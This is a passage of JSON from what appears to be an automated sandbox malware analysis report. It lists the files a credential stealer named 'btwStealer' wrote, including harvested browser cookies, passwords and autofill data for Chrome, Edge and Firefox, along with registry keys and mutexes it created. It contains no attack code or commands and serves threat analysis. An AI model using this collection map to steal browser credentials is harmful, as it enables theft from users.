_pycache__\\NodeFilter.cpython-310.pyc.2579644998128","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\sqlite3\\__pycache__\\__init__.cpython-310.pyc.2579644999888","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\sqlite3\\__pycache__\\dbapi2.cpython-310.pyc.2579645974400","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\ctypes\\__pycache__\\util.cpython-310.pyc.2579646306256","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%LOCALAPPDATA%\\btwStealer-local\\output\\Browser-Datas\\chrome\\default","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\History","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\Web Data","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\Cookies","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%LOCALAPPDATA%\\btwStealer-local\\output\\Browser-Datas\\chrome\\default\\cookies.txt","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%LOCALAPPDATA%\\btwStealer-local\\output\\Browser-Datas\\chrome\\default\\passwords.txt","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%LOCALAPPDATA%\\btwStealer-local\\output\\Browser-Datas\\chrome\\default\\autofill.txt","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%LOCALAPPDATA%\\btwStealer-local\\output\\Browser-Datas\\edge\\default","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%LOCALAPPDATA%\\btwStealer-local\\output\\Browser-Datas\\edge\\default\\history.txt","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%LOCALAPPDATA%\\btwStealer-local\\output\\Browser-Datas\\edge\\default\\cookies.txt","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%LOCALAPPDATA%\\btwStealer-local\\output\\Browser-Datas\\edge\\default\\passwords.txt","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%LOCALAPPDATA%\\btwStealer-local\\output\\Browser-Datas\\edge\\default\\autofill.txt","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%LOCALAPPDATA%\\btwStealer-local\\output\\Browser-Datas\\firefox\\5xz6ua91.default-release","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\cookies.sqlite","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\cookies.sqlite-wal","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\cookies.sqlite-shm","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%LOCALAPPDATA%\\btwStealer-local\\output\\Browser-Datas\\firefox\\5xz6ua91.default-release\\cookies.txt","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_ji0op51t.dzo.ps1","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_1swts0df.tdx.psm1","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_jqwern1x.cef.ps1","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_w0la5wux.dit.psm1","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_12gdasle.dl5.ps1","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_vfyfxkxn.vpi.psm1","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKCUHKCU\\SOFTWARE\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7912:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:7912:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4592:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4592:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:4592:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:4592:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1732:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1732:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:1732:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:1732:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5884:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5884:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5884:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:5884:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:5884:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:5884:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8912:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8912:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:8912:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:8912:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4004:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:4004:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:636:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:636:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:636:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:636:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3436:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:3436:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7668:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7668:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:7668:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:7668:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7200:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7200:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:7200:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:7200:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8784:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8784:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:8784:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:8784:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5596:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5596:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:5596:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:5596:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3736:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3736:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:3736:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:3736:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4388:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4388:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:4388:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:4388:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7420:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7420:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:7420:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:7420:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8680:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8680:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:8680:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:8680:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6084:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6084:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:6084:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:6084:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6456:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6456:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:6456:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:6456:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2056:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2056:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:2056:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:2056:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8480:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8480:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:8480:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:8480:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8372:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8372:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:8372:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:8372:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8568:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8568:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:8568:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:8568:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1072:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1072:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:1072:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:1072:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2300:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2300:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:2300:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:2300:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3748:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3748:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:3748:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:3748:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4492:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4492:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"Local\\SM0:4492:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"SM0:4492:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2132:304:WilStaging_02","sources":[{"report_type":"s